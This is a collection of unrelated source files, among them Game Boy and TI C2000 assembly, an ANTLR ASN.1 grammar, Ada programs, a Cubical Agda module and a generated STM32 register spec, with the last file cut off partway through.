ld hl, wNumItems
call CheckItem
pop hl
jr nc, .nope
ld a, [hl]
call .addtobuffer
.nope
inc hl
inc hl
jr .loop
.done
ld a, [wBuffer1]
and a
ret nz
scf
ret
.addtobuffer
push hl
ld hl, wBuffer1
inc [hl]
ld e, [hl]
ld d, 0
add hl, de
ld [hl], a
pop hl
ret
INCLUDE "data/items/apricorn_balls.asm"
|
c2000/C2000Ware_1_00_06_00/libraries/control/DCL/c28/source/DCL_PID_L1.asm | ramok/Themis_ForHPSDR | 0 | 97338 | <filename>c2000/C2000Ware_1_00_06_00/libraries/control/DCL/c28/source/DCL_PID_L1.asm
; DCL_PID_L1.asm - Series PID controller
;
; Copyright (C) 2018 Texas Instruments Incorporated - http://www.ti.com/
; ALL RIGHTS RESERVED
.if __TI_EABI__
.asg DCL_runPID_L1, _DCL_runPID_L1
.endif
.global _DCL_runPID_L1
.def __cla_DCL_runPID_L1_sp
SIZEOF_LFRAME .set 10
LFRAME_MR3 .set 0
LFRAME_V5 .set 2
LFRAME_V6 .set 4
LFRAME_V7 .set 6
LFRAME_LK .set 8
__cla_DCL_runPID_L1_sp .usect ".scratchpad:Cla1Prog:_DCL_runPID_L1", SIZEOF_LFRAME, 0, 1
.asg __cla_DCL_runPID_L1_sp, LFRAME
.sect "Cla1Prog:_DCL_runPID_L1"
.align 2
; C prototype:
; float DCL_runPID_L1(DCL_PID *p, float32_t rk, float32_t yk, float32_t lk)
; argument 1 = *p : PID structure address [MAR0]
; argument 2 = rk : control loop reference [MR0]
; argument 3 = yk : control loop feedback [MR1]
; argument 4 = lk : controller saturation input [MR2]
; return = uk : control effort [MR0]
_DCL_runPID_L1:
; MDEBUGSTOP
MMOV32 @LFRAME + LFRAME_MR3, MR3 ; save MR3
MMOV32 @LFRAME + LFRAME_LK, MR2 ; save lk
MNOP ; MAR0 load delay slot
;*** proportional path & integral prelude ***
MSUBF32 MR3, MR0, MR1 ; MR3 = ek
|| MMOV32 MR2, *MAR0[2]++ ; MR2 = Kpa
MMPYF32 MR2, MR2, MR3 ; MR2 = Kpa * ek
|| MMOV32 MR3, *MAR0[4]++ ; MR3 = Kia
MMPYF32 MR2, MR2, MR3 ; MR2 = v7
|| MMOV32 MR3, *MAR0[-2]++ ; MR3 = Kra
MMPYF32 MR3, MR0, MR3 ; MR3 = Kra * rk
|| MMOV32 @LFRAME + LFRAME_V7, MR2 ; save v7
MSUBF32 MR3, MR3, MR1 ; MR3 = v5
|| MMOV32 MR2, *MAR0[4]++ ; MR2 = Kda
;*** derivative path ***
MMPYF32 MR0, MR1, MR2 ; MR0 = Kda * yk
|| MMOV32 @LFRAME + LFRAME_V5, MR3 ; save v5
MMOV32 MR3, *MAR0[6]++ ; MR3 = c1a
MMPYF32 MR0, MR0, MR3 ; MR0 = v1
|| MMOV32 MR1, *MAR0[-2]++ ; MR1 = d3
MSUBF32 MR2, MR0, MR1 ; MR2 = v1 - d3
|| MMOV32 MR3, *MAR0 ; MR3 = d2
MMOV32 *MAR0[-2]++, MR0 ; save d2 = v1
MSUBF32 MR2, MR2, MR3 ; MR2 = v4
|| MMOV32 MR1, *MAR0[4]++ ; MR1 = c2a
MMPYF32 MR0, MR1, MR2 ; MR0 = c2a * v4
|| MMOV32 MR3, @LFRAME + LFRAME_V5 ; MR3 = v5
MSUBF32 MR2, MR3, MR2 ; MR2 = v5 - v4
|| MMOV32 *MAR0[-14]++, MR0 ; save d3
;*** integral path ***
MMOV32 MR3, *MAR0[18]++ ; MR3 = Kpa
MMPYF32 MR0, MR2, MR3 ; MR0 = v6
|| MMOV32 MR1, *MAR0[-2]++ ; MR1 = i14
MMOV32 @LFRAME + LFRAME_V6, MR0 ; save v6
MMOV32 MR2, @LFRAME + LFRAME_V7 ; MR2 = v7
MMPYF32 MR0, MR1, MR2 ; MR0 = i14 * v7
|| MMOV32 MR3, *MAR0 ; MR3 = i10
MADDF32 MR1, MR0, MR3 ; MR1 = v8
|| MMOV32 MR2, @LFRAME + LFRAME_V6 ; MR2 = v6
MADDF32 MR0, MR1, MR2 ; MR0 = v9
|| MMOV32 *MAR0[4]++, MR1 ; save i10
;*** saturation ***
MMOVF32 MR2, #0.0f ; MR2 = 0.0f
MMOVF32 MR3, #1.0f ; MR3 = 1.0f
MMOV32 MR1, *MAR0[2]++ ; MR1 = Umaxa
MMINF32 MR0, MR1 ; MR0 = sat+
MMOV32 MR3, MR2, GT ; MR3 = v12
MMOV32 MR1, *MAR0[-4]++ ; MR1 = Umina
MMAXF32 MR0, MR1 ; MR0 = sat-
MMOV32 MR3, MR2, LT ; MR3 = v12
MRCNDD UNC ; return call
MMOV32 MR1, @LFRAME + LFRAME_LK ; MR1 = lk
MMPYF32 MR2, MR1, MR3 ; MR2 = v12 * lk
|| MMOV32 MR3, @LFRAME + LFRAME_MR3 ; restore MR3
MMOV32 *MAR0, MR2 ; save i14
.unasg LFRAME
; end of file
|
test/testdata_vm/018 trap_halt1.asm | onlyafly/oakblue | 0 | 26902 | <gh_stars>0
ADD R0 R0 1
TRAP x25
ADD R1 R1 1 |
src/main/antlr4/fr/jrds/snmpcodec/parsing/ASN.g4 | BabisK/snmpcodec | 0 | 4047 | /*
[The "BSD licence"]
Copyright (c) 2007-2008 <NAME>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
author: <NAME>
mail: <EMAIL>
Built with : java org.antlr.Tool ASN.g
antlr version: 3.1.1
The grammar is by far not complete. I have no experience in ANTLR, still
it was not so difficult to write this grammar.
In broad lines it is copied from the ASN specification files (from the Annex):
X.680, X.681, X.682, X.683 and compiled it into one file. I removed some
of the predicates since it was too much ambiguity.
If you have some comments/improvements, send me an e-mail.
*/
grammar ASN;
fileContent :
BOM? moduleDefinition* SUBSTITUTE?
;
moduleDefinition :
IDENTIFIER ( '{' modulePath? '}' )?
'DEFINITIONS'
'::='
'BEGIN'
moduleBody
'END'
;
modulePath :
(IDENTIFIER ('(' NUMBER ')')? NUMBER? )+
;
moduleBody :
(exports imports assignmentList)?
;
exports :
('EXPORTS' symbolsExported ';')?
;
symbolsExported :
( symbolList )?
;
imports :
('IMPORTS' symbolsImported ';'? )?
;
symbolsImported
: symbolsFromModuleList?
;
symbolsFromModuleList
: symbolsFromModule+
;
symbolsFromModule :
symbolList 'FROM' globalModuleReference
;
globalModuleReference :
IDENTIFIER
;
symbolList :
symbol (','? symbol)* ','?
;
symbol :
IDENTIFIER
| 'OBJECT-TYPE'
| 'TRAP-TYPE'
| 'MODULE-IDENTITY'
| 'OBJECT-IDENTITY'
| 'OBJECT-GROUP'
| 'MODULE-COMPLIANCE'
| 'NOTIFICATION-TYPE'
| 'TEXTUAL-CONVENTION'
| 'NOTIFICATION-GROUP'
| 'AGENT-CAPABILITIES'
| 'INTEGER' (('{' '}'))?
| 'BITS'
;
assignmentList :
assignment*
;
assignment :
(identifier=IDENTIFIER
| identifier='OBJECT-TYPE'
| identifier='TRAP-TYPE'
| identifier='MODULE-IDENTITY'
| identifier='OBJECT-IDENTITY'
| identifier='OBJECT-GROUP'
| identifier='MODULE-COMPLIANCE'
| identifier='NOTIFICATION-TYPE'
| identifier='TEXTUAL-CONVENTION'
| identifier='NOTIFICATION-GROUP'
| identifier='AGENT-CAPABILITIES' )
assignementType
;
assignementType :
complexAssignement
| valueAssignment
| typeAssignment
| textualConventionAssignement
| objectTypeAssignement
| trapTypeAssignement
| moduleIdentityAssignement
| moduleComplianceAssignement
| macroAssignement
;
//Found missing or extra comma in sequence
sequenceType :
'SEQUENCE' '{' (namedType ','* )+ '}'
;
sequenceOfType : 'SEQUENCE' ( '(' (constraint | sizeConstraint) ')' )? 'OF' (type | namedType )
;
typeAssignment :
'::='
( '[' application_details ']' )?
('IMPLICIT')?
type
;
application_details:
'APPLICATION' NUMBER;
complexAssignement :
macroName
(complexAttribut ','*)+
'::='
value
;
macroName :
'OBJECT-GROUP'
| 'OBJECT-IDENTITY'
| 'NOTIFICATION-TYPE'
| 'NOTIFICATION-GROUP'
| 'AGENT-CAPABILITIES'
;
complexAttribut:
access
| status
| name='GROUP' IDENTIFIER
| name='OBJECT' IDENTIFIER
| name='SUPPORTS' IDENTIFIER
| name='VARIATION' IDENTIFIER
| name='SYNTAX' type
| name='REVISION' stringValue
| name='CONTACT-INFO' stringValue
| name='ORGANIZATION' stringValue
| name='LAST-UPDATED' stringValue
| name='UNITS' stringValue
| name='REFERENCE' stringValue
| name='DESCRIPTION' stringValue
| name='MODULE' IDENTIFIER?
| name='INCLUDES' groups
| name='OBJECTS' objects
| name='VARIABLES' variables
| name='INDEX' index
| name='DEFVAL' '{' defValue '}'
| name='DISPLAY-HINT' stringValue
| name='NOTIFICATIONS' notifications
| name='AUGMENTS' augments
| name='WRITE-SYNTAX' type
| name='PRODUCT-RELEASE' stringValue
| name='CREATION-REQUIRES' groups
| name='DISPLAY-HINT' stringValue
| name='REFERENCE' stringValue
;
access:
( name='MAX-ACCESS' | name='ACCESS' | name='MIN-ACCESS') IDENTIFIER
;
status:
name='STATUS' IDENTIFIER
;
groups:
'{' IDENTIFIER (','? IDENTIFIER)* ','? '}'
;
objects:
'{' value (','? value)* ','? '}'
;
variables:
'{' IDENTIFIER (',' IDENTIFIER)* ','? '}'
;
notifications:
'{' IDENTIFIER (',' IDENTIFIER)* ','? '}'
;
augments:
'{' IDENTIFIER '}'
;
index:
'{' indexTypes (','? indexTypes)* ','? '}'
;
indexTypes:
'IMPLIED'? type
;
moduleIdentityAssignement:
'MODULE-IDENTITY'
('LAST-UPDATED' stringValue
| 'ORGANIZATION' stringValue
| 'CONTACT-INFO' stringValue
| 'DESCRIPTION' stringValue)+
moduleRevisions
'::='
objectIdentifierValue
;
moduleRevisions:
moduleRevision*
;
moduleRevision:
'REVISION' stringValue
'DESCRIPTION' stringValue
;
textualConventionAssignement :
'::=' 'TEXTUAL-CONVENTION' (complexAttribut ','*)+
;
moduleComplianceAssignement :
'MODULE-COMPLIANCE'
status
'DESCRIPTION' stringValue
('REFERENCE' stringValue)?
(complianceModules)+
'::='
objectIdentifierValue
;
complianceModules :
'MODULE' IDENTIFIER?
('MANDATORY-GROUPS' groups)?
compliance*
;
compliance:
('GROUP' IDENTIFIER 'DESCRIPTION' stringValue)
| ('OBJECT' IDENTIFIER ('SYNTAX' type)? ('WRITE-SYNTAX' type)? ('MIN-ACCESS' IDENTIFIER)? ('DESCRIPTION' stringValue)?)
;
trapTypeAssignement :
'TRAP-TYPE'
enterpriseAttribute
(complexAttribut ','*)+
'::='
integerValue
;
enterpriseAttribute :
'ENTERPRISE' (IDENTIFIER | objectIdentifierValue)
;
objectTypeAssignement :
'OBJECT-TYPE'
(complexAttribut ','*)+
'::='
value
;
macroAssignement :
'MACRO' '::=' 'BEGIN' macroContent+ 'END'
;
macroContent:
IDENTIFIER 'NOTATION'? ? '::=' macroVal+ ( '|' macroVal+ )*
;
macroVal:
CSTRING
| IDENTIFIER
| IDENTIFIER? '(' (IDENTIFIER | 'OBJECT' | 'IDENTIFIER'| type ) * ')'
;
valueAssignment :
type
'::='
value
;
type :
(builtinType | referencedType) ( constraint | sizeConstraint )? ('{' namedNumberList '}')?
;
builtinType :
octetStringType
| bitStringType
| choiceType
| integerType
| sequenceType
| sequenceOfType
| objectIdentifierType
| nullType
| bitsType
;
bitsType:
'BITS' ('{' bitsEnumeration '}')?
;
bitsEnumeration:
bitDescription ( ',' bitDescription)+
;
bitDescription:
IDENTIFIER '(' NUMBER ')'
;
nullType:
'NULL'
;
referencedType :
IDENTIFIER ('.' IDENTIFIER)?
;
elements :
( value '..' value )
| value
;
constraintElements :
elements ( '|' elements)*
;
constraint :
'(' constraintElements ')'
;
sizeConstraint : '(' 'SIZE' '(' constraintElements ')' ')'
;
defValue
: referenceValue
| integerValue
| choiceValue
| booleanValue
| stringValue
| bitsValue
| objectIdentifierValue
| ipValue
;
value
: referenceValue
| integerValue
| choiceValue
| objectIdentifierValue
| booleanValue
| stringValue
;
bitsValue:
'{' (IDENTIFIER ','?)* '}'
;
referenceValue
: IDENTIFIER
;
objectIdentifierValue :
'{' IDENTIFIER ? objIdComponentsList '}'
;
objIdComponentsList :
(objIdComponents ','? )*
;
objIdComponents
: NUMBER
| identifier=(OIDIDENTIFIER|IDENTIFIER) ( '(' NUMBER ')' )
;
integerValue :
signedNumber
| hexaNumber
| binaryNumber
;
choiceValue :
IDENTIFIER ':' value
;
stringValue
: CSTRING
;
ipValue
: IP
;
signedNumber:
NUMBER
;
binaryNumber
: BINARYNUMBER
;
hexaNumber
: HEXANUMBER
;
choiceType : 'CHOICE' '{' (namedType ','*)+ '}'
;
namedType :
IDENTIFIER type
;
namedNumber :
(name=IDENTIFIER | name='TRUE' | name='FALSE' | name='true' | name='false' ) '(' signedNumber ')'
;
integerType :
'INTEGER' ('{' namedNumberList '}')?
;
namedNumberList :
(namedNumber) (','? namedNumber)* ','?
;
objectIdentifierType:
'OBJECT' 'IDENTIFIER'
;
octetStringType :
'OCTET' 'STRING'
;
bitStringType : ('BIT' 'STRING') ('{' namedBitList '}')?
;
namedBitList: (namedBit) (',' namedBit)*
;
namedBit : IDENTIFIER '(' NUMBER ')'
;
booleanValue:
'TRUE' | 'FALSE' | 'true' | 'false'
;
fragment DIGIT
: '0'..'9'
;
fragment UPPER
: ('A'..'Z')
;
fragment LOWER
: ('a'..'z')
;
IP :
DIGIT+ '.' DIGIT+ '.' DIGIT+ '.' DIGIT+
;
NUMBER
: '-'? DIGIT+
;
fragment Exponent
: ('e'|'E') ('+'|'-')? NUMBER
;
COMMENT :
( '\r'* '\n' ('--' ~( '\n' |'\r')* '\r'* '\n')+ // A comments at the line starts comments the whole line
| '-- CIM' ~( '\n' |'\r')* '\r'? '\n' // -- CIM--# is a construct found in some Compaq's MIB
| '--' ~( '\n' |'\r' ) (.*? ( ~('-' | '\n') '--' | EOF | '\r'* '\n'))
| '--' '-'? (EOF | '\r'* '\n')
) -> skip
;
//| '--' ~( '\n' |'\r' ) (.*? ( ~('-' | '\n') '--'('#'.*? '\r'? '\n')? | EOF | '\r'? '\n'))
//COMMENT : '--' ~( '\n' |'\r')* '\r'? '\n' -> skip;
WS
: (' '|'\r'|'\t'|'\u000C'|'\n') -> skip
;
fragment HEXDIGIT
: (DIGIT|'a'..'f'|'A'..'F')
;
HEXANUMBER :
'\'' HEXDIGIT* '\'' ( 'h' | 'H')
;
fragment BINARYDIGIT :
'0' | '1'
;
BINARYNUMBER:
'\'' BINARYDIGIT* '\'' 'B'
;
CSTRING
: QUOTATIONMARK ( ~( '"' | '“' | '”') )* QUOTATIONMARK
;
fragment
QUOTATIONMARK:
'"'
| '“'
| '”'
;
//fragment
/**I found this char range in JavaCC's grammar, but Letter and Digit overlap.
Still works, but...
*/
fragment
LETTER :
'\u0024' |
'\u002d' |
'\u0041'..'\u005a' |
'\u005f' |
'\u0061'..'\u007a' |
'\u00c0'..'\u00d6' |
'\u00d8'..'\u00f6' |
'\u00f8'..'\u00ff' |
'\u0100'..'\u1fff' |
'\u3040'..'\u318f' |
'\u3300'..'\u337f' |
'\u3400'..'\u3d2d' |
'\u4e00'..'\u9fff' |
'\uf900'..'\ufaff'
;
fragment
JavaIDDigit
: '\u0030'..'\u0039' |
'\u0660'..'\u0669' |
'\u06f0'..'\u06f9' |
'\u0966'..'\u096f' |
'\u09e6'..'\u09ef' |
'\u0a66'..'\u0a6f' |
'\u0ae6'..'\u0aef' |
'\u0b66'..'\u0b6f' |
'\u0be7'..'\u0bef' |
'\u0c66'..'\u0c6f' |
'\u0ce6'..'\u0cef' |
'\u0d66'..'\u0d6f' |
'\u0e50'..'\u0e59' |
'\u0ed0'..'\u0ed9' |
'\u1040'..'\u1049'
;
fragment
NameChar
: NameStartChar
| '0'..'9'
| '-'
| '_'
| '\u00B7'
| '\u0300'..'\u036F'
| '\u203F'..'\u2040'
;
fragment
NameStartChar
: 'A'..'Z' | 'a'..'z'
| '\u00C0'..'\u00D6'
| '\u00D8'..'\u00F6'
| '\u00F8'..'\u02FF'
| '\u0370'..'\u037D'
| '\u037F'..'\u1FFF'
| '\u200C'..'\u200D'
| '\u2070'..'\u218F'
| '\u2C00'..'\u2FEF'
| '\u3001'..'\uD7FF'
| '\uF900'..'\uFDCF'
| '\uFDF0'..'\uFFFD'
;
IDENTIFIER
: LETTER (LETTER|JavaIDDigit)*
;
OIDIDENTIFIER
: (LETTER|JavaIDDigit)+
;
BOM :
'\ufffd' -> skip
;
SUBSTITUTE :
'\u001a' -> skip
;
|
programs/oeis/057/A057068.asm | neoneye/loda | 22 | 99305 | <filename>programs/oeis/057/A057068.asm
; A057068: floor[6^6/n].
; 46656,23328,15552,11664,9331,7776,6665,5832,5184,4665,4241,3888,3588,3332,3110,2916,2744,2592,2455,2332,2221,2120,2028,1944,1866,1794,1728,1666,1608,1555,1505,1458,1413,1372,1333,1296,1260,1227,1196,1166,1137
add $0,1
mov $1,46656
div $1,$0
mov $0,$1
|
timers/tac_set_timer_disabled_2/main.asm | AntonioND/gbc-hw-tests | 6 | 9536 |
INCLUDE "hardware.inc"
INCLUDE "header.inc"
SECTION "var",BSS
ram_ptr: DS 2
repeat_loop: DS 1
SECTION "Main",HOME
;--------------------------------------------------------------------------
;- Main() -
;--------------------------------------------------------------------------
Main:
ld hl,$A000
ld a,[Init_Reg_A]
cp a,$11
jr nz,.skipchange1
ld a,0
ld [repeat_loop],a
call CPU_slow
.skipchange1:
.repeat_all:
; -------------------------------------------------------
ld a,$0A
ld [$0000],a ; enable ram
; -------------------------------------------------------
VALUE_WRITEN SET 0
REPT 16
ld a,TACF_STOP|TACF_16KHZ
ld [rTAC],a
ld a,0
ld [rTMA],a
ld [rDIV],a
ld [rTIMA],a
ld [rIF],a
ld a,VALUE_WRITEN
ld [rDIV],a ; sync
REPT 7
push de
pop de
nop
ENDR
nop
nop
nop
nop
nop
ld [rTAC],a ; write just when internal counter goes from 0x00FF to 0x0100
ld a,[rTIMA]
ld [hl+],a
ld a,[rIF]
and a,4
ld [hl+],a
VALUE_WRITEN SET VALUE_WRITEN+1
ENDR
; -----------------------
VALUE_WRITEN SET 0
REPT 16
ld a,TACF_STOP|TACF_16KHZ
ld [rTAC],a
ld a,0
ld [rTMA],a
ld [rDIV],a
ld [rTIMA],a
ld [rIF],a
ld a,VALUE_WRITEN
ld [rDIV],a ; sync
REPT 7
ld [rTAC],a
ld [rTAC],a
nop
nop
ENDR
ld [rTAC],a
nop
nop
ld [rTAC],a ; write just when internal counter goes from 0x00FF to 0x0100
ld a,[rTIMA]
ld [hl+],a
ld a,[rIF]
and a,4
ld [hl+],a
VALUE_WRITEN SET VALUE_WRITEN+1
ENDR
; -----------------------
VALUE_WRITEN SET 0
REPT 16
ld a,TACF_STOP|TACF_16KHZ
ld [rTAC],a
ld a,0
ld [rTMA],a
ld [rDIV],a
ld [rIF],a
ld a,$FF
ld [rTIMA],a
ld a,VALUE_WRITEN
ld [rDIV],a ; sync
REPT 7
push de
pop de
nop
ENDR
nop
nop
nop
nop
nop
ld [rTAC],a ; write just when internal counter goes from 0x00FF to 0x0100
ld a,[rTIMA]
ld [hl+],a
ld a,[rIF]
and a,4
ld [hl+],a
VALUE_WRITEN SET VALUE_WRITEN+1
ENDR
; -----------------------
VALUE_WRITEN SET 0
REPT 16
ld a,TACF_STOP|TACF_16KHZ
ld [rTAC],a
ld a,0
ld [rTMA],a
ld [rDIV],a
ld [rIF],a
ld a,$FF
ld [rTIMA],a
ld a,VALUE_WRITEN
ld [rDIV],a ; sync
REPT 7
ld [rTAC],a
ld [rTAC],a
nop
nop
ENDR
ld [rTAC],a
nop
nop
ld [rTAC],a ; write just when internal counter goes from 0x00FF to 0x0100
ld a,[rTIMA]
ld [hl+],a
ld a,[rIF]
and a,4
ld [hl+],a
VALUE_WRITEN SET VALUE_WRITEN+1
ENDR
; -------------------------------------------------------
push hl ; magic number
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
pop hl
ld a,$00
ld [$0000],a ; disable ram
; -------------------------------------------------------
ld a,[Init_Reg_A]
cp a,$11
jr nz,.skipchange2
ld a,[repeat_loop]
and a,a
jr nz,.endloop
; -------------------------------------------------------
call CPU_fast
ld a,1
ld [repeat_loop],a
jp .repeat_all
.skipchange2:
.endloop:
halt
jr .endloop
|
day01/src/day.adb | jwarwick/aoc_2020 | 3 | 20626 | <reponame>jwarwick/aoc_2020
-- AoC 2020, Day 1
with Ada.Text_IO;
package body Day is
package TIO renames Ada.Text_IO;
function load_file(filename : in String) return Expense_Vector.Vector is
file : TIO.File_Type;
expenses : Expense_Vector.Vector;
begin
TIO.open(File => file, Mode => TIO.In_File, Name => filename);
while not TIO.end_of_file(file) loop
expenses.append(Expense'Value(TIO.get_line(file)));
end loop;
TIO.close(file);
return expenses;
end load_file;
function matching_product(expenses : in Expense_Vector.Vector) return Expense is
begin
i_loop:
for i of expenses loop
j_loop:
for j of expenses loop
if i + j = 2020 then
return i * j;
end if;
end loop j_loop;
end loop i_loop;
return 0;
end matching_product;
function triple_matching_product(expenses : in Expense_Vector.Vector) return Expense is
begin
i_loop:
for i of expenses loop
j_loop:
for j of expenses loop
if i + j < 2020 then
k_loop:
for k of expenses loop
if i + j + k = 2020 then
return i * j * k;
end if;
end loop k_loop;
end if;
end loop j_loop;
end loop i_loop;
return 0;
end triple_matching_product;
-- Find two entries that sum to 2020 and return their product
function part1(filename : in String) return Expense is
expenses : Expense_Vector.Vector;
begin
expenses := load_file(filename);
return matching_product(expenses);
end part1;
-- Find three entries that sum to 2020 and return their product
function part2(filename : in String) return Expense is
expenses : Expense_Vector.Vector;
begin
expenses := load_file(filename);
return triple_matching_product(expenses);
end part2;
end Day;
|
Cubical/Algebra/Magma/Morphism.agda | bijan2005/univalent-foundations | 0 | 1616 | <reponame>bijan2005/univalent-foundations
{-# OPTIONS --cubical --no-import-sorts --safe #-}
module Cubical.Algebra.Magma.Morphism where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Equiv
open import Cubical.Functions.Embedding
open import Cubical.Algebra
private
variable
m n : Level
IsMagmaHom : (M : Magma m) (N : Magma n) → (⟨ M ⟩ → ⟨ N ⟩) → Type (ℓ-max m n)
IsMagmaHom M N fun = Homomorphic₂ fun (Magma._•_ M) (Magma._•_ N)
record MagmaHom (M : Magma m) (N : Magma n) : Type (ℓ-max m n) where
constructor magmahom
field
fun : ⟨ M ⟩ → ⟨ N ⟩
isHom : IsMagmaHom M N fun
record MagmaEquiv (M : Magma m) (N : Magma n) : Type (ℓ-max m n) where
constructor magmaequiv
field
eq : ⟨ M ⟩ ≃ ⟨ N ⟩
isHom : IsMagmaHom M N (equivFun eq)
hom : MagmaHom M N
hom = record { isHom = isHom }
instance
MagmaHomOperators : HomOperators (Magma m) (Magma n) (ℓ-max m n)
MagmaHomOperators = record { _⟶ᴴ_ = MagmaHom; _≃ᴴ_ = MagmaEquiv } |
arch/ARM/STM32/svd/stm32wb55x/stm32_svd-usb_fs.ads | morbos/Ada_Drivers_Library | 2 | 5434 | <reponame>morbos/Ada_Drivers_Library
-- This spec has been automatically generated from STM32WB55x.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package STM32_SVD.USB_FS is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype USB_EP0R_EA_Field is HAL.UInt4;
subtype USB_EP0R_STAT_TX_Field is HAL.UInt2;
subtype USB_EP0R_EPTYPE_Field is HAL.UInt2;
subtype USB_EP0R_STAT_RX_Field is HAL.UInt2;
type USB_EP0R_Register is record
EA : USB_EP0R_EA_Field := 16#0#;
STAT_TX : USB_EP0R_STAT_TX_Field := 16#0#;
DTOG_TX : Boolean := False;
CTR_TX : Boolean := False;
EP_KIND : Boolean := False;
EPTYPE : USB_EP0R_EPTYPE_Field := 16#0#;
SETUP : Boolean := False;
STAT_RX : USB_EP0R_STAT_RX_Field := 16#0#;
DTOG_RX : Boolean := False;
CTR_RX : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_EP0R_Register use record
EA at 0 range 0 .. 3;
STAT_TX at 0 range 4 .. 5;
DTOG_TX at 0 range 6 .. 6;
CTR_TX at 0 range 7 .. 7;
EP_KIND at 0 range 8 .. 8;
EPTYPE at 0 range 9 .. 10;
SETUP at 0 range 11 .. 11;
STAT_RX at 0 range 12 .. 13;
DTOG_RX at 0 range 14 .. 14;
CTR_RX at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_EP1R_EA_Field is HAL.UInt4;
subtype USB_EP1R_STAT_TX_Field is HAL.UInt2;
subtype USB_EP1R_EPTYPE_Field is HAL.UInt2;
subtype USB_EP1R_STAT_RX_Field is HAL.UInt2;
type USB_EP1R_Register is record
EA : USB_EP1R_EA_Field := 16#0#;
STAT_TX : USB_EP1R_STAT_TX_Field := 16#0#;
DTOG_TX : Boolean := False;
CTR_TX : Boolean := False;
EP_KIND : Boolean := False;
EPTYPE : USB_EP1R_EPTYPE_Field := 16#0#;
SETUP : Boolean := False;
STAT_RX : USB_EP1R_STAT_RX_Field := 16#0#;
DTOG_RX : Boolean := False;
CTR_RX : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_EP1R_Register use record
EA at 0 range 0 .. 3;
STAT_TX at 0 range 4 .. 5;
DTOG_TX at 0 range 6 .. 6;
CTR_TX at 0 range 7 .. 7;
EP_KIND at 0 range 8 .. 8;
EPTYPE at 0 range 9 .. 10;
SETUP at 0 range 11 .. 11;
STAT_RX at 0 range 12 .. 13;
DTOG_RX at 0 range 14 .. 14;
CTR_RX at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_EP2R_EA_Field is HAL.UInt4;
subtype USB_EP2R_STAT_TX_Field is HAL.UInt2;
subtype USB_EP2R_EPTYPE_Field is HAL.UInt2;
subtype USB_EP2R_STAT_RX_Field is HAL.UInt2;
type USB_EP2R_Register is record
EA : USB_EP2R_EA_Field := 16#0#;
STAT_TX : USB_EP2R_STAT_TX_Field := 16#0#;
DTOG_TX : Boolean := False;
CTR_TX : Boolean := False;
EP_KIND : Boolean := False;
EPTYPE : USB_EP2R_EPTYPE_Field := 16#0#;
SETUP : Boolean := False;
STAT_RX : USB_EP2R_STAT_RX_Field := 16#0#;
DTOG_RX : Boolean := False;
CTR_RX : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_EP2R_Register use record
EA at 0 range 0 .. 3;
STAT_TX at 0 range 4 .. 5;
DTOG_TX at 0 range 6 .. 6;
CTR_TX at 0 range 7 .. 7;
EP_KIND at 0 range 8 .. 8;
EPTYPE at 0 range 9 .. 10;
SETUP at 0 range 11 .. 11;
STAT_RX at 0 range 12 .. 13;
DTOG_RX at 0 range 14 .. 14;
CTR_RX at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype USB_EP3R_EA_Field is HAL.UInt4;
subtype USB_EP3R_STAT_TX_Field is HAL.UInt2;
subtype USB_EP3R_EPTYPE_Field is HAL.UInt2;
subtype USB_EP3R_STAT_RX_Field is HAL.UInt2;
type USB_EP3R_Register is record
EA : USB_EP3R_EA_Field := 16#0#;
STAT_TX : USB_EP3R_STAT_TX_Field := 16#0#;
DTOG_TX : Boolean := False;
CTR_TX : Boolean := False;
EP_KIND : Boolean := False;
EPTYPE : USB_EP3R_EPTYPE_Field := 16#0#;
SETUP : Boolean := False;
STAT_RX : USB_EP3R_STAT_RX_Field := 16#0#;
DTOG_RX : Boolean := False;
CTR_RX : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for USB_EP3R_Register use record
EA at 0 range 0 .. 3;
STAT_TX at 0 range 4 .. 5;
DTOG_TX at 0 range 6 .. 6;
CTR_TX at 0 range 7 .. 7;
EP_KIND at 0 range 8 .. 8;
EPTYPE at 0 range 9 .. 10;
SETUP at 0 range 11 .. 11;
STAT_RX at 0 range 12 .. 13;
DTOG_RX at 0 range 14 .. 14;
